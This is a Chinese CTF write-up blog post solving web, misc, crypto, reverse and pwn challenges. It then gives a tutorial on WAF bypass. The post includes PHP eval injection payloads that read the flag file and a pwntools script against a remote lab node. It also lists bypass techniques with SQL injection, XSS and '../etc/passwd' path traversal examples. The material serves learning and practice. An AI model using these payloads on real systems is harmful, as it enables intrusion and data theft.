寒假2.8

题解

web:[RoarCTF 2019]Easy Calc

打开,是一个计算界面

看一下源代码,提示设置了WAF,并且有一个calc.php文件

访问一下calc.php文件,得到源码,使用get方式传参赋值给num,设置了黑名单,绕过黑名单即可通过eval进行任意php语句

由于前面说了设置了WAF,我们在“?”后输入一个空格进行绕过

原理:当php进行解析时,如果变量名前面有空格,php会自动去掉前面的空格再进行解析,假如waf不允许num变量接收字母,那么使用 num就可以,而php解析时就会自动把空格去掉

也就是说,当我加了一个空格,那么服务器就认为我传入的是空格num而不是num,就不属于黑名单

输入了一个

calc.php? num=system('ls');

 我寻思ls也不在黑名单里啊,但是不行,后面看了其他大佬的wp,原来是有WAF绕过的时候基本不能传入字符,因为大多数字符都会被过滤掉

 使用scandir查看目录中的内容,找到存有flag的文件,由于/被过滤了,尝试使用chr对/的ascii码进行转换绕过,只有这个才不需要引号

? num=scandir("/")
==>? num=var_dump(scandir(chr(47)))

  

盲猜flag在里面

? num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))

misc:buuctf john-in-the-middle

打开附件,是一个.pcap文件

导出http数据流

保存一下

有几张图片,其中logo.png里面好像被打了马赛克,怀疑flag在这张图里

法一:用stegsolve看看,在其中一个通道发现了flag

flag{J0hn_th3_Sn1ff3r} 

法二:用stegsolve打开scanlines.png,在很多通道都可以发现有一条线

将两张图片合成,一样可以得到flag

 crypto:buuctf-RSAROLL

下载附件,给了n,e,c

用工具分解一下n,得到p,q

脚本及其解释:

import gmpy2
e = 19
p = 18443
q = 49891
n = p * q #模数
phi = (p - 1) * (q - 1) #欧拉函数值
d = gmpy2.invert(e, phi)#计算私钥d
c=[704796792,752211152,
274704164,
18414022,
368270835,
483295235,
263072905,
459788476,
483295235,
459788476,
663551792,
475206804,
459788476,
428313374,
475206804,
459788476,
425392137,
704796792,
458265677,
341524652,
483295235,
534149509,
425392137,
428313374,
425392137,
341524652,
458265677,
263072905,
483295235,
828509797,
341524652,
425392137,
475206804,
428313374,
483295235,
475206804,
459788476,
306220148]
m = [pow(i, d, n) for i in c]#使用公式 m = c^d mod n 对每个密文值进行解密
message = ''.join([chr(i) for i in m])#将解密后的整数值转换为对应的ASCII字符并拼接
print(message)

运行脚本即可得到flag

 reverse:[BJDCTF2020]JustRE

附件是一个.exe文件,运行一下试试

查壳,无壳32位

ida32打开,看不出主函数

shift+f12查看,发现了可疑字符串,点进去查看

按x交叉引用查看

找到关键函数

关键是这个

当点击次数为1999的时候,使用sprintf函数输出字符BJD{1999902069a45792d233ac},并将其设置为窗口的标题,把BJD换成flag即可得到flag

pwn:buuctf-ciscn_2019_n_8

用exeinfope查看,32位无壳

ida32打开,查看主函数,大概意思就是会读取写入的字节,放入var[ ]中,当var[13]=17LL的时候就执行system函数

找到了system函数,这里我们要想办法让var[13]=17LL

脚本:

from pwn import *r = remote("node5.buuoj.cn",28096)offset = 14    # var[13]一共有14个元素
payload = p32(17) * offsetr.sendline(payload)
r.interactive()

 运行脚本得到flag

知识点

WAF绕过

理解WAF的检测规则

  • WAF 通常基于正则表达式或规则集来检测恶意输入。

  • 通过分析 WAF 的行为(如拦截的请求、返回的错误信息),可以推测其检测规则。

  • 使用工具(如 WAFW00F)识别 WAF 的类型和版本。

常见绕过技巧

(1)大小写混淆

SELECT * FROM users;  --> sElEcT * FrOm UsErS;

 (2)编码绕过

URL编码:

SELECT * FROM users;  --> %53%45%4C%45%43%54%20%2A%20%46%52%4F%4D%20%75%73%65%72%73%3B

Unicode编码:

SELECT * FROM users;  --> \u0053\u0045\u004C\u0045\u0043\u0054\u0020\u002A\u0020\u0046\u0052\u004F\u004D\u0020\u0075\u0073\u0065\u0072\u0073\u003B

Base64编码:

SELECT * FROM users;  --> U0VMRUNUICogRlJPTSB1c2Vyczs=

(3)注释符绕过

在payload中插入注释符,干扰WAF的检测

SELECT/*comment*/ * FROM users;

(4)分块传输

将payload分成多个小块发送,绕过WAF的检测

POST /vulnerable-endpoint HTTP/1.1
Transfer-Encoding: chunked4
SELECT
5
* FROM
6
users;
0

(5)参数污染

在请求中重复参数,利用WAF和服务器解析的差异绕过

原理:在 php 语言中 id=1&id=2 后面的值会自动覆盖前面的值,不同的语言有不同的特性

GET /vulnerable-endpoint?id=1&id=2&id=SELECT * FROM users;

(6)特殊字符绕过

使用特殊字符(如换行符、制表符)干扰 WAF 的检测

SELECT\t*\nFROM users;

(7)多语言混淆

使用多语言字符集(如宽字符绕过WAF)

SELECT * FROM users WHERE name = 'admin' AND 1=1;
--> SELECT * FROM users WHERE name = 'admin' AND 1=1;

(8)逻辑绕过

利用 WAF 的逻辑漏洞,构造合法的 payload

SELECT * FROM users WHERE id = 1 AND 1=1;
--> SELECT * FROM users WHERE id = 1 AND true;

4种情况示例

(1)SQL注入绕过

SELECT * FROM users WHERE id = 1 AND 1=1;
-->SELECT/*comment*/ * FROM users WHERE id = 1 AND 1=1;

(2)XSS绕过

<script>alert(1);</script>
--><img src=x onerror=alert(1)>

(3)文件包含绕过

?file=../../../../etc/passwd
--> ?file=....//....//....//....//etc/passwd

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/69492.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

表单与交互:HTML表单标签全面解析

目录 前言 一.HTML表单的基本结构 基本结构 示例 二.常用表单控件 文本输入框 选择控件 文件上传 按钮 综合案例 三.标签的作用 四.注意事项 前言 HTML&#xff08;超文本标记语言&#xff09;是构建网页的基础&#xff0c;其中表单&#xff08;<form>&…

UE5导入模型报错:多边形退化

解决方案&#xff1a;取消勾选Remove Degenerates

Leetcode—1474. 删除链表 M 个节点之后的 N 个节点【简单】Plus

2025每日刷题&#xff08;212&#xff09; Leetcode—1474. 删除链表 M 个节点之后的 N 个节点 实现代码 /*** Definition for singly-linked list.* struct ListNode {* int val;* ListNode *next;* ListNode() : val(0), next(nullptr) {}* ListNode(int x…

OpenGL学习笔记(十二):初级光照:投光物/多光源(平行光、点光源、聚光)

文章目录 平行光点光源聚光多光源 现实世界中&#xff0c;我们有很多种类的光照&#xff0c;每种的表现都不同。将光投射(Cast)到物体的光源叫做投光物(Light Caster)。 平行光/定向光(Directional Light)点光源(Point Light)聚光(Spotlight) 平行光 当一个光源处于很远的地…

整合ES(Elasticsearch)+MQ(RabbitMQ)实现商品上下架/跨模块远程调用

商品上下架过程中&#xff0c;修改数据库表上下架状态&#xff0c;之后通过RabbitMQ发送消息&#xff0c;最终实现ES中数据同步 nacos服务发现和注册ES面向文档型数据库RabbitMQ ES 用户将数据提交到Elasticsearch数据库中通过分词控制器将对应的语句分词将其权重和分词结果一…

软件模拟I2C案例(寄存器实现)

引言 在经过前面对I2C基础知识的理解&#xff0c;对支持I2C通讯的EEPROM芯片M24C02的简单介绍以及涉及到的时序操作做了整理。接下来&#xff0c;我们就正式进入该案例的实现环节了。本次案例是基于寄存器开发方式通过软件模拟I2C通讯协议&#xff0c;然后去实现相关的需求。 阅…

爬虫技巧汇总

一、UA大列表 USER_AGENT_LIST 是一个包含多个用户代理字符串的列表&#xff0c;用于模拟不同浏览器和设备的请求。以下是一些常见的用户代理字符串&#xff1a; USER_AGENT_LIST [Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; Hot Lingo 2.0),Mozilla…

35~37.ppt

目录 35.张秘书-《会计行业中长期人才发展规划》 题目​ 解析 36.颐和园公园&#xff08;25张PPT) 题目​ 解析 37.颐和园公园&#xff08;22张PPT) 题目 解析 35.张秘书-《会计行业中长期人才发展规划》 题目 解析 插入自定义的幻灯片&#xff1a;新建幻灯片→重用…

【Android开发AI实战】基于CNN混合YOLOV实现多车牌颜色区分且针对车牌进行矫正识别(含源码)

文章目录 引言单层卷积神经网络&#xff08;Single-layer CNN&#xff09;&#x1f4cc; 单层 CNN 的基本结构&#x1f4cc; 单层 CNN 计算流程图像 透视变换矫正车牌c实现&#x1fa84;关键代码实现&#xff1a;&#x1fa84;crnn结构图 使用jni实现高级Android开发&#x1f3…

DeepSeek Window本地私有化部署

前言 最近大火的国产AI大模型Deepseek大家应该都不陌生。除了在手机上安装APP或通过官网在线体验&#xff0c;其实我们完全可以在Windows电脑上进行本地部署&#xff0c;从而带来更加便捷的使用体验。 之前也提到过&#xff0c;本地部署AI模型有很多好处&#xff0c;比如&…

STM32G474--Whetstone程序移植(单精度)笔记

1 准备基本工程代码 参考这篇笔记从我的仓库中选择合适的基本工程&#xff0c;进行程序移植。这里我用的是stm32g474的基本工程。 使用git clone一个指定文件或者目录 2 移植程序 2.1 修改Whetstone.c 主要修改原本变量定义的类型&#xff0c;以及函数接口全部更换为单精度…

【专题】2024-2025人工智能代理深度剖析:GenAI 前沿、LangChain 现状及演进影响与发展趋势报告汇总PDF洞察(附原数据表)

原文链接&#xff1a;https://tecdat.cn/?p39630 在科技飞速发展的当下&#xff0c;人工智能代理正经历着深刻的变革&#xff0c;其能力演变已然成为重塑各行业格局的关键力量。从早期简单的规则执行&#xff0c;到如今复杂的自主决策与多智能体协作&#xff0c;人工智能代理…

QT修仙之路1-1--遇见QT

文章目录 遇见QT二、QT概述2.1 定义与功能2.2 跨平台特性2.3 优点汇总 三、软件安装四、QT工具介绍(重要)4.1 Assistant4.2 Designer4.3 uic.exe4.4 moc.exe4.5 rcc.exe4.6 qmake4.7 QTcreater 五、QT工程项目解析(作业)5.1 配置文件&#xff08;.pro&#xff09;5.2 头文件&am…

Linux——基础命令1

$&#xff1a;普通用户 #&#xff1a;超级用户 cd 切换目录 cd 目录 &#xff08;进入目录&#xff09; cd ../ &#xff08;返回上一级目录&#xff09; cd ~ &#xff08;切换到当前用户的家目录&#xff09; cd - &#xff08;返回上次目录&#xff09; pwd 输出当前目录…

Office/WPS接入DeepSeek等多个AI工具,开启办公新模式!

在现代职场中&#xff0c;Office办公套件已成为工作和学习的必备工具&#xff0c;其功能强大但复杂&#xff0c;熟练掌握需要系统的学习。为了简化操作&#xff0c;使每个人都能轻松使用各种功能&#xff0c;市场上涌现出各类办公插件。这些插件不仅提升了用户体验&#xff0c;…

【提示词工程】探索大语言模型的参数设置:优化提示词交互的技巧

在与大语言模型(Large Language Model, LLM)进行交互时,提示词的设计和参数设置直接影响生成内容的质量和效果。无论是通过 API 调用还是直接使用模型,掌握模型的参数配置方法都至关重要。本文将为您详细解析常见的参数设置及其应用场景,帮助您更高效地利用大语言模型。 …

Ollama + AnythingLLM + Deepseek r1 实现本地知识库

1、Ollama&#xff1a;‌是一个开源的大型语言模型 (LLM)服务工具&#xff0c;旨在简化在本地运行大语言模型的过程&#xff0c;降低使用大语言模型的门槛‌。 2、AnythingLLM&#xff1a;是由Mintplex Labs Inc. 开发的一款全栈应用程序&#xff0c;旨在构建一个高效、可定制、…

伪分布式Spark3.4.4安装

参考&#xff1a;Spark2.1.0入门&#xff1a;Spark的安装和使用_厦大数据库实验室博客 我的版本&#xff1a; hadoop 3.1.3 hbase 2.2.2 java openjdk version "1.8.0_432" 问了chatgpt,建议下载Spark3.4.4&#xff0c;不适合下载Spark 2.1.0: step1 Spark下载…

从运输到植保:DeepSeek大模型探索无人机智能作业技术详解

DeepSeek&#xff0c;作为一家专注于深度学习与人工智能技术研究的企业&#xff0c;近年来在AI领域取得了显著成果&#xff0c;尤其在无人机智能作业技术方面展现了其大模型的强大能力。以下是从运输到植保领域&#xff0c;DeepSeek大模型探索无人机智能作业技术的详解&#xf…

免费windows pdf编辑工具Epdf

Epdf&#xff08;完全免费&#xff09; 作者&#xff1a;不染心 时间&#xff1a;2025/2/6 Github: https://github.com/dog-tired/Epdf Epdf Epdf 是一款使用 Rust 编写的 PDF 编辑器&#xff0c;目前仍在开发中。它提供了一系列实用的命令行选项&#xff0c;方便用户对 PDF …